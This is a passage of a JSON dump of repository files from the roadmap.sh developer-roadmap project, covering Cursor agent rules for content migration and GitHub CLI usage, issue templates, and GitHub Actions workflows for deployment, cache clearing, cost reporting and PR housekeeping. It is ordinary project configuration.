[
  {
    "path": ".cursor/rules/content-migration.mdc",
    "content": "---\ndescription: When user requests migrating old roadmap content to new folder from content-old to content folder\nglobs: \nalwaysApply: false\n---\n# Content Migration Rule\n\n## Rule Name: content-migration\n\n## Description\nThis rule provides a complete process for migrating roadmap content from old structure to new structure using migration mapping files.\n\n## When to Use\nUse this rule when you need to:\n- Migrate content from content-old directories to content directories\n- Use a migration-mapping.json file to map topic paths to content IDs\n- Populate empty content files with existing content from legacy structure\n\n## Process\n\n### 1. Prerequisites Check\n- Verify the roadmap directory has a `migration-mapping.json` file\n- Confirm `content-old/` directory exists with source content\n- Confirm `content/` directory exists with target files\n\n### 2. Migration Script Creation\nCreate a Node.js script with the following functionality:\n\n```javascript\nconst fs = require('fs');\nconst path = require('path');\n\n// Load the migration mapping\nconst migrationMapping = JSON.parse(fs.readFileSync('migration-mapping.json', 'utf8'));\n\n// Function to find old content file based on topic path\nfunction findOldContentFile(topicPath) {\n  const parts = topicPath.split(':');\n  \n  if (parts.length === 1) {\n    // Top level file like \"introduction\"\n    return path.join('content-old', parts[0], 'index.md');\n  } else if (parts.length === 2) {\n    // Like \"introduction:what-is-rust\"\n    const [folder, filename] = parts;\n    return path.join('content-old', folder, `${filename}.md`);\n  } else if (parts.length === 3) {\n    // Like \"language-basics:syntax:variables\"\n    const [folder, subfolder, filename] = parts;\n    return path.join('content-old', folder, subfolder, `${filename}.md`);\n  }\n  \n  return null;\n}\n\n// Function to find new content file based on content ID\nfunction findNewContentFile(contentId) {\n  const contentDir = 'content';\n  const files = fs.readdirSync(contentDir);\n  \n  // Find file that ends with the content ID\n  const matchingFile = files.find(file => file.includes(`@${contentId}.md`));\n  \n  if (matchingFile) {\n    return path.join(contentDir, matchingFile);\n  }\n  \n  return null;\n}\n\n// Process each mapping\nconsole.log('Starting content migration...\\n');\n\nlet migratedCount = 0;\nlet skippedCount = 0;\n\nfor (const [topicPath, contentId] of Object.entries(migrationMapping)) {\n  const oldFilePath = findOldContentFile(topicPath);\n  const newFilePath = findNewContentFile(contentId);\n  \n  if (!oldFilePath) {\n    console.log(`❌ Could not determine old file path for: ${topicPath}`);\n    skippedCount++;\n    continue;\n  }\n  \n  if (!newFilePath) {\n    console.log(`❌ Could not find new file for content ID: ${contentId} (topic: ${topicPath})`);\n    skippedCount++;\n    continue;\n  }\n  \n  if (!fs.existsSync(oldFilePath)) {\n    console.log(`❌ Old file does not exist: ${oldFilePath} (topic: ${topicPath})`);\n    skippedCount++;\n    continue;\n  }\n  \n  try {\n    // Read old content\n    const oldContent = fs.readFileSync(oldFilePath, 'utf8');\n    \n    // Write to new file\n    fs.writeFileSync(newFilePath, oldContent);\n    \n    console.log(`✅ Migrated: ${topicPath} -> ${path.basename(newFilePath)}`);\n    migratedCount++;\n  } catch (error) {\n    console.log(`❌ Error migrating ${topicPath}: ${error.message}`);\n    skippedCount++;\n  }\n}\n\nconsole.log(`\\n📊 Migration complete:`);\nconsole.log(`   Migrated: ${migratedCount} files`);\nconsole.log(`   Skipped: ${skippedCount} files`);\nconsole.log(`   Total: ${Object.keys(migrationMapping).length} mappings`);\n```\n\n### 3. Execution Steps\n1. Navigate to the roadmap directory (e.g., `src/data/roadmaps/[roadmap-name]`)\n2. Create the migration script as `migrate_content.cjs`\n3. Run: `node migrate_content.cjs`\n4. Review the migration results\n5. Clean up the temporary script file\n\n### 4. Validation\nAfter migration:\n- Verify a few migrated files have proper content (not just titles)\n- Check that the content structure matches the old content\n- Ensure proper markdown formatting is preserved\n\n## File Structure Expected\n```\nroadmap-directory/\n├── migration-mapping.json\n├── content/\n│   ├── file1@contentId1.md\n│   ├── file2@contentId2.md\n│   └── ...\n└── content-old/\n    ├── section1/\n    │   ├── index.md\n    │   ├── topic1.md\n    │   └── subsection1/\n    │       └── subtopic1.md\n    └── section2/\n        └── ...\n```\n\n## Notes\n- The migration mapping uses colons (`:`) to separate nested paths\n- Content files in the new structure use the pattern `filename@contentId.md`\n- The script handles 1-3 levels of nesting in the old structure\n- Always create the script with `.cjs` extension to avoid ES module issues\n"
  },
  {
    "path": ".cursor/rules/gh-cli.mdc",
    "content": "---\ndescription: GitHub pull requests\nglobs: \nalwaysApply: false\n---\n# gh cli\n\nWork seamlessly with GitHub from the command line.\n\nUSAGE\n  gh <command> <subcommand> [flags]\n\nCORE COMMANDS\n  auth:          Authenticate gh and git with GitHub\n  browse:        Open repositories, issues, pull requests, and more in the browser\n  codespace:     Connect to and manage codespaces\n  gist:          Manage gists\n  issue:         Manage issues\n  org:           Manage organizations\n  pr:            Manage pull requests\n  project:       Work with GitHub Projects.\n  release:       Manage releases\n  repo:          Manage repositories\n\nGITHUB ACTIONS COMMANDS\n  cache:         Manage GitHub Actions caches\n  run:           View details about workflow runs\n  workflow:      View details about GitHub Actions workflows\n\nALIAS COMMANDS\n  co:            Alias for \"pr checkout\"\n\nADDITIONAL COMMANDS\n  alias:         Create command shortcuts\n  api:           Make an authenticated GitHub API request\n  attestation:   Work with artifact attestations\n  completion:    Generate shell completion scripts\n  config:        Manage configuration for gh\n  extension:     Manage gh extensions\n  gpg-key:       Manage GPG keys\n  label:         Manage labels\n  preview:       Execute previews for gh features\n  ruleset:       View info about repo rulesets\n  search:        Search for repositories, issues, and pull requests\n  secret:        Manage GitHub secrets\n  ssh-key:       Manage SSH keys\n  status:        Print information about relevant issues, pull requests, and notifications across repositories\n  variable:      Manage GitHub Actions variables\n\nHELP TOPICS\n  accessibility: Learn about GitHub CLI's accessibility experiences\n  actions:       Learn about working with GitHub Actions\n  environment:   Environment variables that can be used with gh\n  exit-codes:    Exit codes used by gh\n  formatting:    Formatting options for JSON data exported from gh\n  mintty:        Information about using gh with MinTTY\n  reference:     A comprehensive reference of all gh commands\n\nFLAGS\n  --help      Show help for command\n  --version   Show gh version\n\nEXAMPLES\n  $ gh issue create\n  $ gh repo clone cli/cli\n  $ gh pr checkout 321\n\nLEARN MORE\n  Use `gh <command> <subcommand> --help` for more information about a command.\n  Read the manual at https://cli.github.com/manual\n  Learn about exit codes using `gh help exit-codes`\n  Learn about accessibility experiences using `gh help accessibility`\n\n## gh pr\n\nWork with GitHub pull requests.\n\nUSAGE\n  gh pr <command> [flags]\n\nGENERAL COMMANDS\n  create:        Create a pull request\n  list:          List pull requests in a repository\n  status:        Show status of relevant pull requests\n\nTARGETED COMMANDS\n  checkout:      Check out a pull request in git\n  checks:        Show CI status for a single pull request\n  close:         Close a pull request\n  comment:       Add a comment to a pull request\n  diff:          View changes in a pull request\n  edit:          Edit a pull request\n  lock:          Lock pull request conversation\n  merge:         Merge a pull request\n  ready:         Mark a pull request as ready for review\n  reopen:        Reopen a pull request\n  review:        Add a review to a pull request\n  unlock:        Unlock pull request conversation\n  update-branch: Update a pull request branch\n  view:          View a pull request\n\nFLAGS\n  -R, --repo [HOST/]OWNER/REPO   Select another repository using the [HOST/]OWNER/REPO format\n\nINHERITED FLAGS\n  --help   Show help for command\n\nARGUMENTS\n  A pull request can be supplied as argument in any of the following formats:\n  - by number, e.g. \"123\";\n  - by URL, e.g. \"https://github.com/OWNER/REPO/pull/123\"; or\n  - by the name of its head branch, e.g. \"patch-1\" or \"OWNER:patch-1\".\n\nEXAMPLES\n  $ gh pr checkout 353\n  $ gh pr create --fill\n  $ gh pr view --web\n\nLEARN MORE\n  Use `gh <command> <subcommand> --help` for more information about a command.\n  Read the manual at https://cli.github.com/manual\n  Learn about exit codes using `gh help exit-codes`\n  Learn about accessibility experiences using `gh help accessibility`\n\n## gh pr list\n\nList pull requests in a GitHub repository. By default, this only lists open PRs.\n\nThe search query syntax is documented here:\n<https://docs.github.com/en/search-github/searching-on-github/searching-issues-and-pull-requests>\n\nFor more information about output formatting flags, see `gh help formatting`.\n\nUSAGE\n  gh pr list [flags]\n\nALIASES\n  gh pr ls\n\nFLAGS\n      --app string        Filter by GitHub App author\n  -a, --assignee string   Filter by assignee\n  -A, --author string     Filter by author\n  -B, --base string       Filter by base branch\n  -d, --draft             Filter by draft state\n  -H, --head string       Filter by head branch (\"<owner>:<branch>\" syntax not supported)\n  -q, --jq expression     Filter JSON output using a jq expression\n      --json fields       Output JSON with the specified fields\n  -l, --label strings     Filter by label\n  -L, --limit int         Maximum number of items to fetch (default 30)\n  -S, --search query      Search pull requests with query\n  -s, --state string      Filter by state: {open|closed|merged|all} (default \"open\")\n  -t, --template string   Format JSON output using a Go template; see \"gh help formatting\"\n  -w, --web               List pull requests in the web browser\n\nINHERITED FLAGS\n      --help                     Show help for command\n  -R, --repo [HOST/]OWNER/REPO   Select another repository using the [HOST/]OWNER/REPO format\n\nJSON FIELDS\n  additions, assignees, author, autoMergeRequest, baseRefName, baseRefOid, body,\n  changedFiles, closed, closedAt, closingIssuesReferences, comments, commits,\n  createdAt, deletions, files, fullDatabaseId, headRefName, headRefOid,\n  headRepository, headRepositoryOwner, id, isCrossRepository, isDraft, labels,\n  latestReviews, maintainerCanModify, mergeCommit, mergeStateStatus, mergeable,\n  mergedAt, mergedBy, milestone, number, potentialMergeCommit, projectCards,\n  projectItems, reactionGroups, reviewDecision, reviewRequests, reviews, state,\n  statusCheckRollup, title, updatedAt, url\n\nEXAMPLES\n  # List PRs authored by you\n  $ gh pr list --author \"@me\"\n  \n  # List PRs with a specific head branch name\n  $ gh pr list --head \"typo\"\n  \n  # List only PRs with all of the given labels\n  $ gh pr list --label bug --label \"priority 1\"\n  \n  # Filter PRs using search syntax\n  $ gh pr list --search \"status:success review:required\"\n  \n  # Find a PR that introduced a given commit\n  $ gh pr list --search \"<SHA>\" --state merged\n\nLEARN MORE\n  Use `gh <command> <subcommand> --help` for more information about a command.\n  Read the manual at https://cli.github.com/manual\n  Learn about exit codes using `gh help exit-codes`\n  Learn about accessibility experiences using `gh help accessibility`\n\n## gh pr diff\n\nView changes in a pull request.\n\nWithout an argument, the pull request that belongs to the current branch\nis selected.\n\nWith `--web` flag, open the pull request diff in a web browser instead.\n\n\nUSAGE\n  gh pr diff [<number> | <url> | <branch>] [flags]\n\nFLAGS\n      --color string   Use color in diff output: {always|never|auto} (default \"auto\")\n      --name-only      Display only names of changed files\n      --patch          Display diff in patch format\n  -w, --web            Open the pull request diff in the browser\n\nINHERITED FLAGS\n      --help                     Show help for command\n  -R, --repo [HOST/]OWNER/REPO   Select another repository using the [HOST/]OWNER/REPO format\n\nLEARN MORE\n  Use `gh <command> <subcommand> --help` for more information about a command.\n  Read the manual at https://cli.github.com/manual\n  Learn about exit codes using `gh help exit-codes`\n  Learn about accessibility experiences using `gh help accessibility`\n\n## gh pr merge\n\nMerge a pull request on GitHub.\n\nWithout an argument, the pull request that belongs to the current branch\nis selected.\n\nWhen targeting a branch that requires a merge queue, no merge strategy is required.\nIf required checks have not yet passed, auto-merge will be enabled.\nIf required checks have passed, the pull request will be added to the merge queue.\nTo bypass a merge queue and merge directly, pass the `--admin` flag.\n\n\nUSAGE\n  gh pr merge [<number> | <url> | <branch>] [flags]\n\nFLAGS\n      --admin                   Use administrator privileges to merge a pull request that does not meet requirements\n  -A, --author-email text       Email text for merge commit author\n      --auto                    Automatically merge only after necessary requirements are met\n  -b, --body text               Body text for the merge commit\n  -F, --body-file file          Read body text from file (use \"-\" to read from standard input)\n  -d, --delete-branch           Delete the local and remote branch after merge\n      --disable-auto            Disable auto-merge for this pull request\n      --match-head-commit SHA   Commit SHA that the pull request head must match to allow merge\n  -m, --merge                   Merge the commits with the base branch\n  -r, --rebase                  Rebase the commits onto the base branch\n  -s, --squash                  Squash the commits into one commit and merge it into the base branch\n  -t, --subject text            Subject text for the merge commit\n\nINHERITED FLAGS\n      --help                     Show help for command\n  -R, --repo [HOST/]OWNER/REPO   Select another repository using the [HOST/]OWNER/REPO format\n\nLEARN MORE\n  Use `gh <command> <subcommand> --help` for more information about a command.\n  Read the manual at https://cli.github.com/manual\n  Learn about exit codes using `gh help exit-codes`\n  Learn about accessibility experiences using `gh help accessibility`\n\n## gh pr review \n\nAdd a review to a pull request.\n\nWithout an argument, the pull request that belongs to the current branch is reviewed.\n\n\nUSAGE\n  gh pr review [<number> | <url> | <branch>] [flags]\n\nFLAGS\n  -a, --approve           Approve pull request\n  -b, --body string       Specify the body of a review\n  -F, --body-file file    Read body text from file (use \"-\" to read from standard input)\n  -c, --comment           Comment on a pull request\n  -r, --request-changes   Request changes on a pull request\n\nINHERITED FLAGS\n      --help                     Show help for command\n  -R, --repo [HOST/]OWNER/REPO   Select another repository using the [HOST/]OWNER/REPO format\n\nEXAMPLES\n  # Approve the pull request of the current branch\n  $ gh pr review --approve\n  \n  # Leave a review comment for the current branch\n  $ gh pr review --comment -b \"interesting\"\n  \n  # Add a review for a specific pull request\n  $ gh pr review 123\n  \n  # Request changes on a specific pull request\n  $ gh pr review 123 -r -b \"needs more ASCII art\"\n\nLEARN MORE\n  Use `gh <command> <subcommand> --help` for more information about a command.\n  Read the manual at https://cli.github.com/manual\n  Learn about exit codes using `gh help exit-codes`\n  Learn about accessibility experiences using `gh help accessibility`\n\n## gh pr checkout\n\nCheck out a pull request in git\n\nUSAGE\n  gh pr checkout [<number> | <url> | <branch>] [flags]\n\nFLAGS\n  -b, --branch string        Local branch name to use (default [the name of the head branch])\n      --detach               Checkout PR with a detached HEAD\n  -f, --force                Reset the existing local branch to the latest state of the pull request\n      --recurse-submodules   Update all submodules after checkout\n\nINHERITED FLAGS\n      --help                     Show help for command\n  -R, --repo [HOST/]OWNER/REPO   Select another repository using the [HOST/]OWNER/REPO format\n\nEXAMPLES\n  # Interactively select a PR from the 10 most recent to check out\n  $ gh pr checkout\n  \n  # Checkout a specific PR\n  $ gh pr checkout 32\n  $ gh pr checkout https://github.com/OWNER/REPO/pull/32\n  $ gh pr checkout feature\n\nLEARN MORE\n  Use `gh <command> <subcommand> --help` for more information about a command.\n  Read the manual at https://cli.github.com/manual\n  Learn about exit codes using `gh help exit-codes`\n  Learn about accessibility experiences using `gh help accessibility`\n\n  ## gh pr close\n\n  Close a pull request\n\nUSAGE\n  gh pr close {<number> | <url> | <branch>} [flags]\n\nFLAGS\n  -c, --comment string   Leave a closing comment\n  -d, --delete-branch    Delete the local and remote branch after close\n\nINHERITED FLAGS\n      --help                     Show help for command\n  -R, --repo [HOST/]OWNER/REPO   Select another repository using the [HOST/]OWNER/REPO format\n\nLEARN MORE\n  Use `gh <command> <subcommand> --help` for more information about a command.\n  Read the manual at https://cli.github.com/manual\n  Learn about exit codes using `gh help exit-codes`\n  Learn about accessibility experiences using `gh help accessibility`\n\n## gh pr comment\n\nAdd a comment to a GitHub pull request.\n\nWithout the body text supplied through flags, the command will interactively\nprompt for the comment text.\n\n\nUSAGE\n  gh pr comment [<number> | <url> | <branch>] [flags]\n\nFLAGS\n  -b, --body text        The comment body text\n  -F, --body-file file   Read body text from file (use \"-\" to read from standard input)\n      --create-if-none   Create a new comment if no comments are found. Can be used only with --edit-last\n      --delete-last      Delete the last comment of the current user\n      --edit-last        Edit the last comment of the current user\n  -e, --editor           Skip prompts and open the text editor to write the body in\n  -w, --web              Open the web browser to write the comment\n      --yes              Skip the delete confirmation prompt when --delete-last is provided\n\nINHERITED FLAGS\n      --help                     Show help for command\n  -R, --repo [HOST/]OWNER/REPO   Select another repository using the [HOST/]OWNER/REPO format\n\nEXAMPLES\n  $ gh pr comment 13 --body \"Hi from GitHub CLI\"\n\nLEARN MORE\n  Use `gh <command> <subcommand> --help` for more information about a command.\n  Read the manual at https://cli.github.com/manual\n  Learn about exit codes using `gh help exit-codes`\n  Learn about accessibility experiences using `gh help accessibility`\n\n\n\n"
  },
  {
    "path": ".github/FUNDING.yml",
    "content": "# These are supported funding model platforms\ngithub: kamranahmedse\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/01-suggest-changes.yml",
    "content": "name: \"✍️ ​ ​Missing or Deprecated Roadmap Topics\"\ndescription: Help us improve the roadmaps by suggesting changes\nlabels: [topic-change]\nassignees: []\nbody:\n  - type: markdown\n    attributes:\n      value: |\n        Thanks for taking the time to help us improve the roadmaps with your suggestions.\n  - type: input\n    id: url\n    attributes:\n      label: Roadmap URL\n      description: Please provide the URL of the roadmap you are suggesting changes to.\n      placeholder: https://roadmap.sh\n    validations:\n      required: true\n  - type: textarea\n    id: roadmap-suggestions\n    attributes:\n      label: Suggestions\n      description: What changes would you like to suggest?\n      placeholder: Enter your suggestions here.\n    validations:\n      required: true"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/02-bug-report.yml",
    "content": "name: \"🐛 ​ ​Bug Report\"\ndescription: Report an issue or possible bug\nlabels: [bug]\nassignees: []\nbody:\n  - type: input\n    id: url\n    attributes:\n      label: What is the URL where the issue is happening\n      placeholder: https://roadmap.sh\n    validations:\n      required: true\n  - type: dropdown\n    id: browsers\n    attributes:\n      label: What browsers are you seeing the problem on?\n      multiple: true\n      options:\n        - Firefox\n        - Chrome\n        - Safari\n        - Microsoft Edge\n        - Other\n  - type: textarea\n    id: bug-description\n    attributes:\n      label: Describe the Bug\n      description: A clear and concise description of what the bug is.\n    validations:\n      required: true\n  - type: textarea\n    id: logs\n    attributes:\n      label: Output from browser console (if any)\n      description: Please copy and paste any relevant log output.\n  - type: checkboxes\n    id: will-pr\n    attributes:\n      label: Participation\n      options:\n        - label:  I am willing to submit a pull request for this issue.\n          required: false\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/03-feature-suggestion.yml",
    "content": "name: \"✨ ​ ​Feature Suggestion\"\ndescription: Is there a feature you'd like to see on Roadmap.sh? Let us know!\nlabels: [feature request]\nassignees: []\nbody:\n  - type: textarea\n    id: feature-description\n    attributes:\n      label: Feature Description\n      description: Please provide a detailed description of the feature you are suggesting and how it would help you/others.\n    validations:\n      required: true"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/04-roadmap-contribution.yml",
    "content": "name: \"🙏 ​ ​Submit a Roadmap\"\ndescription: Help us launch a new roadmap with your expertise.\nlabels: [roadmap contribution]\nassignees: []\nbody:\n  - type: markdown\n    attributes:\n      value: |\n        Thanks for taking the time to submit a roadmap! Please fill out the information below and we'll get back to you as soon as we can.\n  - type: input\n    id: roadmap-title\n    attributes:\n      label: What is the title of the roadmap you are submitting?\n      placeholder: e.g. Roadmap to learn Data Science\n    validations:\n      required: true\n  - type: textarea\n    id: roadmap-description\n    attributes:\n      label: Roadmap Link\n      description: Please create the roadmap [using our roadmap editor](https://twitter.com/kamrify/status/1708293162693767426) and submit the roadmap link.\n      placeholder: |\n          https://roadmap.sh/xyz\n    validations:\n      required: true\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/05-something-else.yml",
    "content": "name: \"🤷‍♂️ ​ ​Something else\"\ndescription: If none of the above templates fit your needs, please use this template to submit your issue.\nlabels: []\nassignees: []\nbody:\n  - type: textarea\n    id: issue-description\n    attributes:\n      label: Detailed Description\n      description: Please provide a detailed description of the issue.\n    validations:\n      required: true"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/config.yml",
    "content": "blank_issues_enabled: false\ncontact_links:\n  - name: ✋ ​ ​Roadmap Request\n    url: https://roadmap.sh/discord\n    about: Please do not open issues with roadmap requests, hop onto the discord server for that.\n  - name: 📝 ​ ​Typo or Grammatical Mistake\n    url: https://github.com/kamranahmedse/developer-roadmap/tree/master/src/data\n    about: Please submit a pull request instead of reporting it as an issue.\n  - name: 💬 ​ ​Chat on Discord\n    url: https://roadmap.sh/discord\n    about: Join the community on our Discord server.\n  - name: 🤝 ​ ​Guidance\n    url: https://roadmap.sh/discord\n    about: Join the community in our Discord server.\n"
  },
  {
    "path": ".github/workflows/aws-costs.yml",
    "content": "name: Sends Daily AWS Costs to Slack\non:\n  # Allow manual Run\n  workflow_dispatch:\n  # Run at 7:00 UTC every day\n  schedule:\n    - cron: \"0 7 * * *\"\njobs:\n  aws_costs:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Get Costs\n        env:\n          AWS_KEY: ${{ secrets.COST_AWS_ACCESS_KEY }}\n          AWS_SECRET: ${{ secrets.COST_AWS_SECRET_KEY }}\n          AWS_REGION: ${{ secrets.COST_AWS_REGION }}\n          SLACK_CHANNEL: ${{ secrets.SLACK_COST_CHANNEL }}\n          SLACK_TOKEN: ${{ secrets.SLACK_TOKEN }}\n        run: |\n          npm install -g aws-cost-cli\n          aws-cost -k $AWS_KEY -s $AWS_SECRET -r $AWS_REGION -S $SLACK_TOKEN -C $SLACK_CHANNEL\n"
  },
  {
    "path": ".github/workflows/cleanup-orphaned-content.yml",
    "content": "name: Cleanup Orphaned Content\n\non:\n  workflow_dispatch:\n    inputs:\n      roadmap_slug:\n        description: \"The ID of the roadmap to clean up\"\n        required: true\n\njobs:\n  cleanup-content:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n\n      - name: Setup pnpm@v9\n        uses: pnpm/action-setup@v4\n        with:\n          version: 9\n          run_install: false\n\n      - name: Setup Node.js Version 20 (LTS)\n        uses: actions/setup-node@v4\n        with:\n          node-version: 20\n          cache: 'pnpm'\n\n      - name: Install Dependencies and Run Cleanup\n        run: |\n          echo \"Installing Dependencies\"\n          pnpm install\n          echo \"Running Orphaned Content Cleanup\"\n          npm run cleanup:orphaned-content -- --roadmap-slug=${{ inputs.roadmap_slug }}\n\n      - name: Read cleanup summary\n        id: read-summary\n        run: |\n          if [ -f .cleanup-summary.md ]; then\n            {\n              echo 'summary<<EOF'\n              cat .cleanup-summary.md\n              echo 'EOF'\n            } >> $GITHUB_OUTPUT\n          fi\n\n      - name: Check for changes\n        id: verify-changed-files\n        run: |\n          if [ -n \"$(git status --porcelain)\" ]; then\n            echo \"changed=true\" >> $GITHUB_OUTPUT\n          else\n            echo \"changed=false\" >> $GITHUB_OUTPUT\n          fi\n\n      - name: Delete summary file\n        if: steps.verify-changed-files.outputs.changed == 'true'\n        run: rm -f .cleanup-summary.md\n\n      - name: Create PR\n        if: steps.verify-changed-files.outputs.changed == 'true'\n        uses: peter-evans/create-pull-request@v7\n        with:\n          delete-branch: false\n          branch: \"chore/cleanup-orphaned-content-${{ inputs.roadmap_slug }}\"\n          base: \"master\"\n          labels: |\n            automated pr\n          reviewers: jcanalesluna,kamranahmedse\n          commit-message: \"chore: cleanup orphaned content files\"\n          title: \"chore: cleanup orphaned content - ${{ inputs.roadmap_slug }}\"\n          body: |\n            ${{ steps.read-summary.outputs.summary }}\n\n            > [!IMPORTANT]\n            > This PR removes orphaned/duplicate content files for: ${{ inputs.roadmap_slug }}\n            >\n            > Commit: ${{ github.sha }}\n            > Workflow Path: ${{ github.workflow_ref }}\n\n            **Please review the changes and merge the PR if everything looks correct.**\n"
  },
  {
    "path": ".github/workflows/close-feedback-pr.yml",
    "content": "name: Close PRs with Feedback\non:\n  workflow_dispatch:\n  schedule:\n    - cron: '0 0 * * *'\njobs:\n  close-pr:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Close PR if it has label \"feedback left\" and no changes in 7 days\n        uses: actions/github-script@v3\n        with:\n          github-token: ${{ secrets.GITHUB_TOKEN }}\n          script: |\n            const { data: pullRequests } = await github.pulls.list({\n              owner: context.repo.owner,\n              repo: context.repo.repo,\n              state: 'open',\n              base: 'master',\n            });\n\n            for (const pullRequest of pullRequests) {\n              const { data: labels } = await github.issues.listLabelsOnIssue({\n                owner: context.repo.owner,\n                repo: context.repo.repo,\n                issue_number: pullRequest.number,\n              });\n\n              const feedbackLabel = labels.find((label) => label.name === 'feedback left');\n              if (feedbackLabel) {\n                const lastUpdated = new Date(pullRequest.updated_at);\n                const sevenDaysAgo = new Date();\n                sevenDaysAgo.setDate(sevenDaysAgo.getDate() - 7);\n\n                if (lastUpdated < sevenDaysAgo) {\n                  await github.issues.createComment({\n                    owner: context.repo.owner,\n                    repo: context.repo.repo,\n                    issue_number: pullRequest.number,\n                    body: 'Closing this PR because there has been no activity for the past 7 days. Feel free to reopen if you have any feedback.',\n                  });\n                  await github.pulls.update({\n                    owner: context.repo.owner,\n                    repo: context.repo.repo,\n                    pull_number: pullRequest.number,\n                    state: 'closed',\n                  });\n                }\n              }\n            }"
  },
  {
    "path": ".github/workflows/cloudfront-api-cache.yml",
    "content": "name: Clears API Cloudfront Cache\non:\n  workflow_dispatch:\njobs:\n  cloudfront_api_cache:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Clear Cloudfront Caching\n        run: |\n          curl -L \\\n            -X POST \\\n            -H \"Accept: application/vnd.github+json\" \\\n            -H \"Authorization: Bearer ${{ secrets.GH_PAT }}\" \\\n            -H \"X-GitHub-Api-Version: 2022-11-28\" \\\n            https://api.github.com/repos/roadmapsh/infra-ansible/actions/workflows/playbook.yml/dispatches \\\n            -d '{ \"ref\":\"master\", \"inputs\": { \"playbook\": \"roadmap_web.yml\", \"tags\": \"cloudfront-api\", \"is_verbose\": false } }'\n"
  },
  {
    "path": ".github/workflows/cloudfront-fe-cache.yml",
    "content": "name: Clears Frontend Cloudfront Cache\non:\n  workflow_dispatch:\njobs:\n  cloudfront_fe_cache:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Clear Cloudfront Caching\n        run: |\n          curl -L \\\n            -X POST \\\n            -H \"Accept: application/vnd.github+json\" \\\n            -H \"Authorization: Bearer ${{ secrets.GH_PAT }}\" \\\n            -H \"X-GitHub-Api-Version: 2022-11-28\" \\\n            https://api.github.com/repos/roadmapsh/infra-ansible/actions/workflows/playbook.yml/dispatches \\\n            -d '{ \"ref\":\"master\", \"inputs\": { \"playbook\": \"roadmap_web.yml\", \"tags\": \"cloudfront,cloudfront-course\", \"is_verbose\": false } }'\n"
  },
  {
    "path": ".github/workflows/deployment.yml",
    "content": "name: Deploy to EC2\n\non:\n  workflow_dispatch:\n\njobs:\n  deploy:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout Repository\n        uses: actions/checkout@v4\n        with:\n          fetch-depth: 2\n      - uses: actions/setup-node@v4\n        with:\n          node-version: 20\n      - uses: pnpm/action-setup@v4.0.0\n        with:\n          version: 9\n\n      # -------------------\n      # Setup configuration\n      # -------------------\n      - name: Prepare configuration files\n        run: |\n          git clone https://${{ secrets.GH_PAT }}@github.com/roadmapsh/infra-config.git configuration --depth 1\n      - name: Copy configuration files\n        run: |\n          cp configuration/dist/github/developer-roadmap.env .env\n\n      # -----------------\n      # Prepare the Build\n      # -----------------\n      - name: Install Dependencies\n        run: |\n          pnpm install\n\n      - name: Generate Production Build\n        run: |\n          git clone https://${{ secrets.GH_PAT }}@github.com/roadmapsh/web-draw.git .temp/web-draw --depth 1\n          npm run generate-renderer\n          npm run compress:images\n          npm run build\n\n      # --------------------\n      # Deploy to EC2\n      # --------------------\n      - uses: webfactory/ssh-agent@v0.7.0\n        with:\n          ssh-private-key: ${{ secrets.EC2_PRIVATE_KEY }}\n      - name: Deploy Application to EC2\n        run: |\n          rsync -apvz --delete --no-times --exclude \"configuration\" -e \"ssh -o StrictHostKeyChecking=no\" -p ./ ${{ secrets.EC2_USERNAME }}@${{ secrets.EC2_HOST }}:/var/www/roadmap.sh/\n      - name: Restart PM2\n        uses: appleboy/ssh-action@master\n        with:\n          host: ${{ secrets.EC2_HOST }}\n          username: ${{ secrets.EC2_USERNAME }}\n          key: ${{ secrets.EC2_PRIVATE_KEY }}\n          script: |\n            cd /var/www/roadmap.sh\n            sudo pm2 restart web-roadmap\n\n      # ----------------------\n      # Clear cloudfront cache\n      # ----------------------\n      - name: Clear Cloudfront Caching\n        run: |\n          curl -L \\\n            -X POST \\\n            -H \"Accept: application/vnd.github+json\" \\\n            -H \"Authorization: Bearer ${{ secrets.GH_PAT }}\" \\\n            -H \"X-GitHub-Api-Version: 2022-11-28\" \\\n            https://api.github.com/repos/roadmapsh/infra-ansible/actions/workflows/playbook.yml/dispatches \\\n            -d '{ \"ref\":\"master\", \"inputs\": { \"playbook\": \"roadmap_web.yml\", \"tags\": \"cloudfront\", \"is_verbose\": false } }'"
  },
  {
    "path": ".github/workflows/label-issue.yml",
    "content": "name: Label Issue\n\non:\n  issues:\n    types: [ opened, edited ]\n  \njobs:\n  label-topic-change-issue:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Add Labels To Issue\n        uses: actions/github-script@v7\n        with:\n          github-token: ${{ secrets.GITHUB_TOKEN }}\n          script: |\n            const issue = context.payload.issue;\n            const roadmapUrl = issue.body.match(/https?:\\/\\/roadmap.sh\\/[^ ]+/);\n\n            // if the issue is labeled as a topic-change, add the roadmap slug as a label\n            if (issue.labels.some(label => label.name === 'topic-change')) {\n              if (roadmapUrl) {\n                const roadmapSlug = new URL(roadmapUrl[0]).pathname.replace(/\\//, '');\n                github.rest.issues.addLabels({\n                  owner: context.repo.owner,\n                  repo: context.repo.repo,\n                  issue_number: issue.number,\n                  labels: [roadmapSlug]\n                });\n              }\n            \n              // Close the issue if it has no roadmap URL\n              if (!roadmapUrl) {\n                github.rest.issues.update({\n                  owner: context.repo.owner,\n                  repo: context.repo.repo,\n                  issue_number: issue.number,\n                  state: 'closed'\n                });\n              }\n            }"
  },
  {
    "path": ".github/workflows/sync-content-to-repo.yml",
